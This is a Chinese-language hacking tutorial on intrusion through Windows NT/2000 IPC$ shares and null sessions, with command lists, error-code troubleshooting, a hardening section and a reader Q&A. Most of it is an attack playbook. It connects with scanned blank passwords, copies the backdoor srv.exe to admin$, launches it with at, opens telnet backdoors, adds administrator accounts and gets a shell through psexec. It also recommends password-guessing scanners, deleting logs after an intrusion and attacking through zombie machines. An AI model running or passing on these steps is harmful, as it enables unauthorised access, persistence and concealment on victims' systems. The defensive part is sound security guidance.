一 摘要 二 什麼是ipc$ 三 什麼是空會話 四 空會話可以做什麼 五 ipc$所使用的端口 六 ipc管道在hack攻擊中的意義 七 ipc$連接配接失敗的常見原因 八 複制檔案失敗的原因 九 關于at指令和xp對ipc$的限制 十 如何打開目标的IPC$共享以及其他共享 十一 一些需要shell才能完成的指令 十二 入侵中可能會用到的指令 十三 對比過去和現今的ipc$入侵 十四 如何防範ipc$入侵 十五 ipc$入侵問答精選 一 摘要 注意:本文所讨論的各種情況均預設發生在win NT/2000環境下,win98将不在此次讨論之列。 IPC$(Internet Process Connection)是共享"命名管道"的資源,它是為了讓程序間通信而開放的命名管道,通過提供可信任的使用者名和密碼,連接配接雙方可以建立安全的通道并以此通道進行加密資料的交換,進而實作對遠端計算機的通路。IPC$是NT/2000的一項新功能,它有一個特點,即在同一時間内,兩個IP之間隻允許建立一個連接配接。NT/2000在提供了ipc$功能的同時,在初次安裝系統時還打開了預設共享,即所有的邏輯共享(c$,d$,e$……)和系統目錄winnt或windows(admin$)共享。所有的這些,微軟的初衷都是為了友善管理者的管理,但在有意無意中,導緻了系統安全性的降低。 平時我們總能聽到有人在說ipc$漏洞,ipc$漏洞,其實ipc$并不是一個真正意義上的漏洞,我想之是以有人這麼說,一定是指微軟自己安置的那個‘後門’:空會話(Null session)。那麼什麼是空會話呢? 在介紹空會話之前,我們有必要了解一下一個安全會話是如何建立的。 在Windows NT 4.0中是使用挑戰響應協定與遠端機器建立一個會話的,建立成功的會話将成為一個安全隧道,建立雙方通過它互通資訊,這個過程的大緻順序如下: 1)會話請求者(客戶)向會話接收者(伺服器)傳送一個資料包,請求安全隧道的建 立; 2)伺服器産生一個随機的64位數(實作挑戰)傳送回客戶; 3)客戶取得這個由伺服器産生的64位數,用試圖建立會話的帳号的密碼打亂它,将結 果傳回到伺服器(實作響應); 4)伺服器接受響應後發送給本地安全驗證(LSA),LSA通過使用該使用者正确的密碼來核實響應以便确認請求者身份。如果請求者的帳号是伺服器的本地帳号,核實本地發生;如果請求的帳号是一個域的帳号,響應傳送到域控制器去核實。當對挑戰的響應核實為正确後,一個通路令牌産生,然後傳送給客戶。客戶使用這個通路令牌連接配接到伺服器上的資源直到建議的會話被終止。 以上是一個安全會話建立的大緻過程,那麼空會話又如何呢? 空會話是在沒有信任的情況下與伺服器建立的會話(即未提供使用者名與密碼),但根據WIN2000的通路控制模型,空會話的建立同樣需要提供一個令牌,可是空會話在建立過程中并沒有經過使用者資訊的認證,是以這個令牌中不包含使用者資訊,是以,這個會話不能讓系統間發送加密資訊,但這并不表示空會話的令牌中不包含安全辨別符SID(它辨別了使用者和所屬組),對于一個空會話,LSA提供的令牌的SID是S-1-5-7,這就是空會話的SID,使用者名是:ANONYMOUS LOGON(這個使用者名是可以在使用者清單中看到的,但是是不能在SAM資料庫中找到,屬于系統内置的帳号),這個通路令牌包含下面僞裝的組: Everyone Network 在安全政策的限制下,這個空會話将被授權通路到上面兩個組有權通路到的一切資訊。那麼建立空會話到底可以作什麼呢? 四 空會話可以做什麼 對于NT,在預設安全設定下,借助空連接配接可以列舉目标主機上的使用者和共享,通路everyone權限的共享,通路小部分系統資料庫等,并沒有什麼太大的利用價值;對2000作用更小,因為在Windows 2000 和以後版本中預設隻有管理者和備份操作員有權從網絡通路到系統資料庫,而且實作起來也不友善,需借助工具。 從這些我們可以看到,這種非信任會話并沒有多大的用處,但從一次完整的ipc$入侵來看,空會話是一個不可缺少的跳闆,因為我們從它那裡可以得到戶清單,而大多數弱密碼掃描工具就是利用這個使用者清單來進行密碼猜解的,成功的導出使用者清單大大增加了猜解的成功率,僅從這一點,足以說明空會話所帶來的安全隐患,是以說空會話毫無用處的說法是不正确的。以下是空會話中能夠使用的一些具體指令: 1 首先,我們先建立一個空連接配接(當然,這需要目标開放ipc$) 指令:net use \\ip\ipc$ "" /user:"" 注意:上面的指令包括四個空格,net與use中間有一個空格,use後面一個,密碼左右各一個空格。 2 檢視遠端主機的共享資源 指令:net view \\ip 解釋:前提是建立了空連接配接後,用此指令可以檢視遠端主機的共享資源,如果它開了共享,可以得到如下面的結果,但此指令不能顯示預設共享。 在 \\*.*.*.*的共享資源 資源共享名 類型 用途 注釋 ----------------------------------------------------------- NETLOGON Disk Logon server share SYSVOL Disk Logon server share 指令成功完成。 3 檢視遠端主機的目前時間 指令: net time \\ip 解釋:用此指令可以得到一個遠端主機的目前時間。 4 得到遠端主機的NetBIOS使用者名清單(需要打開自己的NBT) 指令:nbtstat -A ip 用此指令可以得到一個遠端主機的NetBIOS使用者名清單,傳回如下結果: Node IpAddress: [*.*.*.*] Scope Id: [] NetBIOS Remote Machine Name Table Name Type Status --------------------------------------------- SERVER <00> UNIQUE Registered OYAMANISHI-H <00> GROUP Registered OYAMANISHI-H <1C> GROUP Registered SERVER <20> UNIQUE Registered OYAMANISHI-H <1B> UNIQUE Registered OYAMANISHI-H <1E> GROUP Registered SERVER <03> UNIQUE Registered OYAMANISHI-H <1D> UNIQUE Registered ..__MSBROWSE__.<01> GROUP Registered INet~Services <1C> GROUP Registered IS~SERVER......<00> UNIQUE Registered MAC Address = 00-50-8B-9A-2D-37 以上就是我們經常使用空會話做的事情,好像也能獲得不少東西喲,不過要注意一點:建立IPC$連接配接的操作會在Event Log中留下記錄,不管你是否登入成功。 好了,那麼下面我們就來看看ipc$所使用的端口是什麼? 首先我們來了解一些基礎知識: 1 SMB:(Server Message Block) Windows協定族,用于檔案列印共享的服務; 2 NBT:(NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口實作基于TCP/IP協定的NETBIOS網絡互聯。 3 在WindowsNT中SMB基于NBT實作,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT實作,還可以直接通過445端口實作。 有了這些基礎知識,我們就可以進一步來讨論通路網絡共享對端口的選擇了: 對于win2000用戶端(發起端)來說: 1 如果在允許NBT的情況下連接配接伺服器時,用戶端會同時嘗試通路139和445端口,如果445端口有響應,那麼就發送RST包給139端口斷開連接配接,用455端口進行會話,當445端口無響應時,才使用139端口,如果兩個端口都沒有響應,則會話失敗; 2 如果在禁止NBT的情況下連接配接伺服器時,那麼用戶端隻會嘗試通路445端口,如果445端口無響應,那麼會話失敗。 對于win2000伺服器端來說: 1 如果允許NBT, 那麼UDP端口137, 138, TCP 端口 139, 445将開放(LISTENING); 2 如果禁止NBT,那麼隻有445端口開放。 我們建立的ipc$會話對端口的選擇同樣遵守以上原則。顯而易見,如果遠端伺服器沒有監聽139或445端口,ipc$會話是無法建立的。 ipc管道本來是微軟為了友善管理者進行遠端管理而設計的,但在入侵者看來,開放ipc管道的主機似乎更容易得手。通過ipc管道,我們可以遠端調用一些系統函數(大多通過工具實作,但需要相應的權限),這往往是入侵成敗的關鍵。如果不考慮這些,僅從傳送檔案這一方面,ipc管道已經給了入侵者莫大的支援,甚至已經成為了最重要的傳輸手段,是以你總能在各大論壇上看到一些朋友因為打不開目标機器的ipc管道而一籌莫展大呼救命。當然,我們也不能忽視權限在ipc管道中扮演的重要角色,想必你一定品嘗過空會話的尴尬,沒有權限,開啟管道我們也無可奈何。但入侵者一旦獲得了管理者的權限,那麼ipc管道這把雙刃劍将顯示出它猙獰的一面。 以下是一些常見的導緻ipc$連接配接失敗的原因: 1 IPC連接配接是Windows NT及以上系統中特有的功能,由于其需要用到Windows NT中很多DLL函數,是以不能在Windows 9.x/Me系統中運作,也就是說隻有nt/2000/xp才可以互相建立ipc$連接配接,98/me是不能建立ipc$連接配接的; 2 如果想成功的建立一個ipc$連接配接,就需要響應方開啟ipc$共享,即使是空連接配接也是這樣,如果響應方關閉了ipc$共享,将不能建立連接配接; 3 連接配接發起方未啟動Lanmanworkstation服務(顯示名為:Workstation):它提供網絡鍊結和通訊,沒有它發起方無法發起連接配接請求; 4 響應方未啟動Lanmanserver服務(顯示名為:Server):它提供了 RPC 支援、檔案、列印以及命名管道共享,ipc$依賴于此服務,沒有它主機将無法響應發起方的連接配接請求,不過沒有它仍可發起ipc$連接配接; 5 響應方未啟動NetLogon,它支援網絡上計算機 pass-through 帳戶登入身份(不過這種情況好像不多); 6 響應方的139,445端口未處于監聽狀态或被防火牆屏蔽; 7 連接配接發起方未打開139,445端口; 8 使用者名或者密碼錯誤:如果發生這樣的錯誤,系統将給你類似于'無法更新密碼'這樣的錯誤提示(顯然空會話排除這種錯誤); 9 指令輸入錯誤:可能多了或少了空格,當使用者名和密碼中不包含空格時兩邊的雙引号可以省略,如果密碼為空,可以直接輸入兩個引号""即可; 10 如果在已經建立好連接配接的情況下對方重新開機計算機,那麼ipc$連接配接将會自動斷開,需要重建立立連接配接。 另外,你也可以根據傳回的錯誤号分析原因: 錯誤号5,拒絕通路:很可能你使用的使用者不是管理者權限的; 錯誤号51,Windows無法找到網絡路徑:網絡有問題; 錯誤号53,找不到網絡路徑:ip位址錯誤;目标未開機;目标lanmanserver服務未啟動;目标有防火牆(端口過濾); 錯誤号67,找不到網絡名:你的lanmanworkstation服務未啟動或者目标删除了ipc$; 錯誤号1219,提供的憑據與已存在的憑據集沖突:你已經和對方建立了一個ipc$,請删除再連; 錯誤号1326,未知的使用者名或錯誤密碼:原因很明顯了; 錯誤号1792,試圖登入,但是網絡登入服務沒有啟動:目标NetLogon服務未啟動; 錯誤号2242,此使用者的密碼已經過期:目标有帳号政策,強制定期要求更改密碼。 有些朋友雖然成功的建立了ipc$連接配接,但在copy時卻遇到了這樣那樣的麻煩,無法複制成功,那麼導緻複制失敗的常見原因又有哪些呢? 1 對方未開啟共享檔案夾 這類錯誤出現的最多,占到50%以上。許多朋友在ipc$連接配接建立成功後,甚至都不知道對方是否有共享檔案夾,就進行盲目複制,結果導緻複制失敗而且郁悶的很。是以我建議大家在進行複制之前務必用net view \\IP這個指令看一下你想要複制的共享檔案夾是否存在(用軟體檢視當然更好),不要認為能建立ipc$連接配接就一定有共享檔案夾存在。 2 向預設共享複制失敗 這類錯誤也是大家經常犯的,主要有兩個小方面: 1)錯誤的認為能建立ipc$連接配接的主機就一定開啟了預設共享,因而在建立完連接配接之後馬上向c$,d$,admin$之類的預設共享複制檔案,一旦對方未開啟預設共享,将導緻複制失敗。ipc$連接配接成功隻能說明對方打開了ipc$共享,并不能說明預設共享一定存在。ipc$共享與預設共享是兩碼事,ipc$共享是一個命名管道,并不是哪個實際的檔案夾,而預設共享卻是實實在在的共享檔案夾; 2)由于net view \\IP 這個指令無法顯示預設共享檔案夾(因為預設共享帶$),是以通過這個指令,我們并不能判斷對方是否開啟了預設共享,是以如果對方未開啟預設共享,那麼所有向預設共享進行的操作都不能成功;(不過大部分掃描軟體在掃弱密碼的同時,都能掃到預設共享目錄,可以避免此類錯誤的發生) 要點:請大家一定區分ipc共享,預設共享,普通共享這三者的差別:ipc共享是一個管道,并不是實際的共享檔案夾;預設共享是安裝時預設打開的檔案夾;普通共享是我們自己開啟的可以設定權限的共享檔案夾。 3使用者權限不夠,包括四種情形: 1)空連接配接向所有共享(預設共享和普通共享)複制時,權限是不夠的; 2)向預設共享複制時,在Win2000 Pro版中,隻有Administrators和Backup Operators組成員才可以,在Win2000 Server版本 Server Operatros組也可以通路到這些共享目錄; 3)向普通共享複制時,要具有相應權限(即對方管理者事先設定的通路權限); 4)對方可以通過防火牆或安全軟體的設定,禁止外部通路共享; 注意: 1 不要認為administrator就一定具有管理者權限,管理者名稱是可以改的 2 管理者可以通路預設共享的檔案夾,但不一定能夠通路普通的共享檔案夾,因為管理者可以對普通的共享檔案夾進行通路權限設定,如圖6,管理者為D盤設定的通路權限為僅允許名為xinxin的使用者對該檔案夾進行完全通路,那麼此時即使你擁有管理者權限,你仍然不能通路D盤。不過有意思的是,如果此時對方又開啟了D$的預設共享,那麼你卻可以通路D$,進而繞過了權限限制,有興趣的朋友可以自己做測試。 4被防火牆殺死或在區域網路 還有一種情況,那就是也許你的複制操作已經成功,但當遠端運作時,被防火牆殺掉了,導緻找不到檔案;或者你把木馬複制到了區域網路内的主機,導緻連接配接失敗(反向連接配接的木馬不會發生這種情況)。如果你沒有想到這種情況,你會以為是複制上出了問題,但實際你的複制操作已經成功了,隻是運作時出了問題。 呵呵,大家也知道,ipc$連接配接在實際操作過程中會出現各種各樣的問題,上面我所總結的隻是一些常見錯誤,沒說到的,大家可以給我提個醒兒。 本來還想說一下用at遠端運作程式失敗的原因,但考慮到at的成功率不是很高,問題也很多,在這裡就不提它了(提的越多,用的人就越多),而是推薦大家用psexec.exe遠端運作程式,假設想要遠端機器執行本地c:\xinxin.exe檔案,且管理者為administrator,密碼為1234,那麼輸入下面的指令: psexec \\ip -u administrator -p 1234 -c c:\xinxin.exe 如果已經建立ipc連接配接,則-u -p這兩個參數不需要,psexec.exe将自動拷貝檔案到遠端機器并運作。 本來xp中的ipc$也不想在這裡讨論,想單獨拿出來讨論,但看到越來越多的朋友很急切的提問為什麼遇到xp的時候,大部分操作都很難成功。我在這裡就簡單提一下吧,在xp的預設安全選項中,任何遠端通路僅被賦予來賓權限,也就是說即使你是用管理者帳戶和密碼,你所得到的權限也隻是Guest,是以大部分操作都會因為權限不夠而失敗,而且到目前為止并沒有一個好的辦法來突破這一限制。是以如果你真的得到了xp的管理者密碼,我建議你盡量避開ipc管道。 目标的ipc$不是輕易就能打開的,否則就要天下打亂了。你需要一個admin權限的shell,比如telnet,木馬,cmd重定向等,然後在shell下執行: net share ipc$ 開放目标的ipc$共享; net share ipc$ /del 關閉目标的ipc$共享;如果你要給它開共享檔案夾,你可以用: net share xinxin=c:\ 這樣就把它的c盤開為共享名為xinxin共享檔案夾了。(可是我發現很多人錯誤的認為開共享檔案夾的指令是net share c$,還大模大樣的給菜鳥指指點點,真是誤人子弟了)。再次聲明,這些操作都是在shell下才能實作的。 看到很多教程這方面寫的十分不準确,一些需要shell才能完成指令就簡簡單單的在ipc$連接配接下執行了,起了誤導作用。那麼下面我總結一下需要在shell才能完成的指令: 1 向遠端主機建立使用者,激活使用者,修改使用者密碼,加入管理組的操作需要在shell下完成; 2 打開遠端主機的ipc$共享,預設共享,普通共享的操作需要在shell下完成; 3 運作/關閉遠端主機的服務,需要在shell下完成; 4 啟動/殺掉遠端主機的程序,也需要在shell下完成(用軟體的情況下除外,如pskill)。 為了這份教程的完整性,我列出了ipc$入侵中的一些常用指令,如果你已經掌握了這些指令,你可以跳過這一部分看下面的内容。請注意這些指令是适用于本地還是遠端,如果隻适用于本地,你隻能在獲得遠端主機的shell(如cmd,telnet等)後,才能向遠端主機執行。 1 建立/删除ipc$連接配接的指令 1)建立空連接配接: net use \\127.0.0.1\ipc$ "" /user:"" 2)建立非空連接配接: net use \\127.0.0.1\ipc$ "密碼" /user:"使用者名" 3)删除連接配接: net use \\127.0.0.1\ipc$ /del 2 在ipc$連接配接中對遠端主機的操作指令 1) 檢視遠端主機的共享資源(看不到預設共享): net view \\127.0.0.1 2) 檢視遠端主機的目前時間: net time \\127.0.0.1 3) 得到遠端主機的netbios使用者名清單: nbtstat -A 127.0.0.1 4)映射/删除遠端共享: net use z: \\127.0.0.1\c 此指令将共享名為c的共享資源映射為本地z盤 net use z: /del 删除映射的z盤,其他盤類推 5)向遠端主機複制檔案: copy 路徑\檔案名 \\IP\共享目錄名,如: copy c:\xinxin.exe \\127.0.0.1\c$ 即将c盤下的xinxin.exe複制到對方c盤内 當然,你也可以把遠端主機上的檔案複制到自己的機器裡: copy \\127.0.0.1\c$\xinxin.exe c:\ 6)遠端添加計劃任務: at \\IP 時間 程式名 如: at \\127.0.0.0 11:00 xinxin.exe 注意:時間盡量使用24小時制;如果你打算運作的程式在系統預設搜尋路徑(比如system32/)下則不用加路徑,否則必須加全路徑 3 本地指令 1)檢視本地主機的共享資源(可以看到本地的預設共享) net share 2)得到本地主機的使用者清單 net user 3)顯示本地某使用者的帳戶資訊 net user 帳戶名 4)顯示本地主機目前啟動的服務 net start 5)啟動/關閉本地服務 net start 服務名 net stop 服務名 6)在本地添加帳戶 net user 帳戶名 密碼 /add 7)激活禁用的使用者 net uesr 帳戶名 /active:yes 8)加入管理者組 net localgroup administrators 帳戶名 /add 很顯然的是,雖然這些都是本地指令,但如果你在遠端主機的shell中輸入,比如你telnet成功後輸入上面這些指令,那麼這些本地輸入将作用在遠端主機上。 4 其他一些指令 1)telnet telnet IP 端口 telnet 127.0.0.0 23 2)用opentelnet.exe開啟遠端主機的telnet OpenTelnet.exe \\ip 管理者帳号 密碼 NTLM的認證方式 port OpenTelnet.exe \\127.0.0.1 administrator "" 1 90 不過這個小工具需要滿足四個要求: 1)目标開啟了ipc$共享 2)你要擁有管理者密碼和帳号 3)目标開啟RemoteRegistry服務,使用者就可以更改ntlm認證 4)對僅WIN2K/XP有效 3)用psexec.exe一步獲得shell,需要ipc管道支援 psexec.exe \\IP -u 管理者帳号 -p 密碼 cmd psexec.exe \\127.0.0.1 -u administrator -p "" cmd 既然是對比,那麼我就先把過去的ipc$入侵步驟寫給大家,都是蠻經典的步驟: [1] C:\>net use \\127.0.0.1\ipc$ "" /user:admintitrators \\用掃到的空密碼建立連接配接 [2] c:\>net view \\127.0.0.1 \\檢視遠端的共享資源 [3] C:\>copy srv.exe \\127.0.0.1\admin$\system32 \\将一次性後門srv.exe複制到對方的系統檔案夾下,前提是admin$開啟 [4] C:\>net time \\127.0.0.1 \\檢視遠端主機的目前時間 [5] C:\>at \\127.0.0.1 時間 srv.exe \\用at指令遠端運作srv.exe,需要對方開啟了'Task Scheduler'服務 [6] C:\>net time \\127.0.0.1 \\再次檢視目前時間來估算srv.exe是否已經運作,此步可以省略 [7] C:\>telnet 127.0.0.1 99 \\開一個新視窗,用telnet遠端登陸到127.0.0.1進而獲得一個shell(不懂shell是什麼意思?那你就把它想象成遠端機器的控制權就好了,操作像DOS),99端口是srv.exe開的一次性後門的端口 [8] C:\WINNT\system32>net start telnet \\我們在剛剛登陸上的shell中啟動遠端機器的telnet服務,畢竟srv.exe是一次性的後門,我們需要一個長久的後門便于以後通路,如果對方的telnet已經啟動,此步可省略 [9] C:\>copy ntlm.exe \\127.0.0.1\admin$\system32 \\在原來那個視窗中将ntlm.exe傳過去,ntlm.exe是用來更改telnet身份驗證的 [10] C:\WINNT\system32>ntlm.exe \\在shell視窗中運作ntlm.exe,以後你就可以暢通無阻的telnet這台主機了
[11] C:\>telnet 127.0.0.1 23 \\在新視窗中telnet到127.0.0.1,端口23可省略,這樣我們又獲得一個長期的後門 [12] C:\WINNT\system32>net user 帳戶名 密碼 /add C:\WINNT\system32>net uesr guest /active:yes C:\WINNT\system32>net localgroup administrators 帳戶名 /add \\telnet上以後,你可以建立新帳戶,激活guest,把任何帳戶加入管理者組等 好了,寫到這裡我似乎回到了2,3年前,那時的ipc$大家都是這麼用的,不過随着新工具的出現,上面提到的一些工具和指令現在已經不常用到了,那就讓我們看看現在的高效而簡單的ipc$入侵吧。 psexec.exe \\IP -u 管理者帳号 -p 密碼 cmd \\用這個工具我們可以一步到位的獲得shell OpenTelnet.exe \\server 管理者帳号 密碼 NTLM的認證方式 port \\用它可以友善的更改telnet的驗證方式和端口,友善我們登陸 已經沒有第二步了,用一步獲得shell之後,你做什麼都可以了,安後門可以用winshell,克隆就用ca吧,開終端用3389.vbe,記錄密碼用win2kpass,總之好的工具不少,随你選了,我就不多說了。 十四 如何防範ipc$入侵察看本地共享資源 運作-cmd-輸入net share 删除共享(每次輸入一個) net share ipc$ /delete net share admin$ /delete net share c$ /delete net share d$ /delete(如果有e,f,……可以繼續删除) 1 禁止空連接配接進行枚舉(此操作并不能阻止空連接配接的建立) 運作regedit,找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的鍵值改為:1 如果設定為"1",一個匿名使用者仍然可以連接配接到IPC$共享,但無法通過這種連接配接得到列舉SAM帳号和共享資訊的權限;在Windows 2000 中增加了"2",未取得匿名權的使用者将不能進行ipc$空連接配接。建議設定為1。如果上面所說的主鍵不存在,就建立一個再改鍵值。如果你覺得改系統資料庫麻煩,可以在本地安全設定中設定此項: 在本地安全設定-本地政策-安全選項-'對匿名連接配接的額外限制' 2 禁止預設共享 1)察看本地共享資源 2)删除共享(重起後預設共享仍然存在) 3)停止server服務 net stop server /y (重新啟動後server服務會重新開啟) 4)禁止自動打開預設共享(此操作并不能關閉ipc$共享) 運作-regedit server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。 pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。 這兩個鍵值在預設情況下在主機上是不存在的,需要自己手動添加,修改後重起機器使設定生效。 3 關閉ipc$和預設共享依賴的服務:server服務 如果你真的想關閉ipc$共享,那就禁止server服務吧: 控制台-管理工具-服務-找到server服務(右擊)-屬性-正常-啟動類型-選已禁用,這時可能會有提示說:XXX服務也會關閉是否繼續,因為還有些次要的服務要依賴于server服務,不要管它。 4 屏蔽139,445端口 由于沒有以上兩個端口的支援,是無法建立ipc$的,是以屏蔽139,445端口同樣可以阻止ipc$入侵。 1)139端口可以通過禁止NBT來屏蔽 本地連接配接-TCP/IT屬性-進階-WINS-選‘禁用TCP/IT上的NETBIOS’一項 2)445端口可以通過修改系統資料庫來屏蔽 添加一個鍵值 Hive: HKEY_LOCAL_MACHINE Key: System\Controlset\Services\NetBT\Parameters Name: SMBDeviceEnabled Type: REG_DWORD Value: 0 修改完後重新開機機器 注意:如果屏蔽掉了以上兩個端口,你将無法用ipc$入侵别人。 3)安裝防火牆進行端口過濾 6 設定複雜密碼,防止通過ipc$窮舉出密碼,我覺得這才是最好的辦法,增強安全意識,比不停的打更新檔要安全的多。 1.進行ipc$入侵的時候,會在伺服器中留下記錄,有什麼辦法可以不讓伺服器發現嗎? 答:留下記錄是一定的,你走後用清除日志程式删除就可以了,或者用殭屍電腦入侵。 2.你看下面的情況是為什麼,可以連接配接但不能複制 net use \\***.***.***.***\ipc$ "密碼" /user:"使用者名" 指令成功 copy icmd.exe \\***.***.***.***\admin$ 找不到網絡路徑 指令不成功 答:像“找不到網絡路徑”“找不到網絡名”之類的問題,大多是因為你想要複制到的共享檔案夾沒有開啟,是以在複制的時候會出現錯誤,你可以試着找找其他的共享檔案夾。 3.如果對方開了IPC$,且能建立空聯接,但打開C、D盤時,都要求密碼,我知道是空連接配接沒有太多的權限,但沒别的辦法了嗎? 答:建議先用流光或者别的什麼掃描軟體試着猜解一下密碼,如果猜不出來,隻能放棄,畢竟空連接配接的能力有限。 4.我已經猜解到了管理者的密碼,且已經ipc$連接配接成功了,但net view \\ip發現它沒開預設共享,我該怎麼辦? 答:首先糾正你的一個錯誤,用net view \\ip是無法看到預設共享的,你可以試着将檔案複制到c$,d$看看,如果都不行,說明他關閉了預設共享,那你就用opentelnet.exe或psexec.exe吧,用法上面有。 5.ipc$連接配接成功後,我用下面的指令建立了一個帳戶,卻發現這個帳戶在我自己的機器上,這是怎麼回事? net uset ccbirds /add 答:ipc$建立成功隻能說明你與遠端主機建立了通信隧道,并不意味你取得了一個shell,隻有在獲得一個shell(比如telnet)之後,你才能在遠端機器建立一個帳戶,否則你的操作隻是在本地進行。 6.我已進入了一台肉機,用的管理者帳号,可以看他的系統時間,但是複制程式到他的機子上卻不行,每次都提示“拒絕通路,已複制0個檔案”,是不是對方有什麼服務沒開,我該怎麼辦? 答:一般來說“拒絕通路”都是權限不夠的結果,可能是你用的帳戶有問題,還有一種可能,如果你想向普通共享檔案夾複制檔案卻傳回這個錯誤,說明這個檔案夾設定的允許通路使用者中不包括你(哪怕你是管理者),這一點我在上一期文章中分析了。 7.我用Win98能與對方建立ipc$連接配接嗎? 答:理論上不可以,要進行ipc$的操作,建議用win2000,用其他作業系統會帶來許多不必要的麻煩。 8.我用net use \\ip\ipc$ "" /user ""成功的建立了一個空會話,但用nbtstat -A IP 卻無法導出使用者清單,這是為什麼? 答:空會話在預設的情況下是可以導出使用者清單的,但如果管理者通過修改系統資料庫來禁止導出清單,就會出現你所說的情況;還有可能是你自己的NBT沒有打開,netstat指令是建立在NBT之上的。 9.我建立ipc$連接配接的時候傳回如下資訊:‘提供的憑據與已存在的憑據集沖突’,怎麼回事? 答:呵呵,這說明你已經與目标主機建立了ipc$連接配接,兩個主機間同時建立兩個ipc$連接配接是不允許的。 10.我在映射的時候出現: F:\>net use h: \\211.161.134.*\e$ 系統發生 85 錯誤。 本地裝置名已在使用中。這是怎麼回事? 答:你也太粗心了吧,這說明你有一個h盤了,映射到沒有的盤符吧! 11.我建立了一個連接配接f:\>net use \\*.*.*.*\ipc$ "123" /user:"guest" 成功了,但當我映射時出現了錯誤,向我要密碼,怎麼回事? F:\>net use h: \\*.*.*.*\c$ 密碼在 \\*.*.*.*\c$ 無效。 請鍵入 \\*.*.*.*\c$ 的密碼: 系統發生 5 錯誤。 拒絕通路。 答:呵呵,向你要密碼說明你目前使用的使用者權限不夠,不能映射C$這個預設共享,想辦法提升權限或者找管理者的弱密碼吧!預設共享一般是需要管理者權限的。 12.我用superscan掃到了一個開了139端口的主機,但為什麼不能空連接配接呢? 答:你混淆了ipc$與139的關系,能進行ipc$連接配接的主機一定開了139或445端口,但開這兩個端口的主機可不一定能空連接配接,因為對方可以關閉ipc$共享. 13.我門區域網路裡的機器大多都是xp,我用流光掃描到幾個administrator帳号密碼是空,而且可以連接配接,但不能複制東西,說錯誤5。請問為什麼? 答:xp的安全性要高一些,在安全政策的預設設定中,對本地帳戶的網絡登入進行身份驗證的時候,預設為來賓權限,即使你用管理者遠端登入,也隻具有來賓權限,是以你複制檔案,當然是錯誤5:權限不夠。 14.我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,可是 net use i: \\192.168.0.2\c 出現請鍵入 \\192.168.0.2 的密碼,怎麼回事情呢?我用的可是管理者呀?應該什麼都可以通路呀? 答:雖然你具有管理者權限,但管理者在設定c盤共享權限時(注意:普通共享可以設定通路權限,而預設共享則不能)可能并未設定允許administrator通路,是以會出現上述問題。 15.如果自己的機器禁止了ipc$, 是不是還可以用ipc$連接配接别的機器?如果禁止server服務呢? 答:禁止以上兩項仍可以發起ipc$連接配接,不過這種問題自己動手試驗會更好。 16.能告訴我下面的兩個錯誤産生的原因嗎? c:\>net time \\61.225.*.* c:\>net view \\61.225.*.* 答:起初遇到這個問題的時候我也很納悶,錯誤5表示權限不夠,可是連空會話的權限都可以完成上面的兩個指令,他為什麼不行呢?難道是他沒建立連接配接?後來那個粗心的同志告訴我的确是這樣,他忘記了自己已經删了ipc$連接配接,之後他又輸入了上面那兩個指令,随之發生了錯誤5。 17.您看看這是怎麼回事? F:\>net time 找不到時間伺服器。 請鍵入 NET HELPMSG 3912 以獲得更多的幫助。 答:答案很簡單,你的指令錯了,應該是net time \\ip 沒輸入ip位址,當然找不到伺服器。view的指令也應該有ip位址,即:net view \\ip |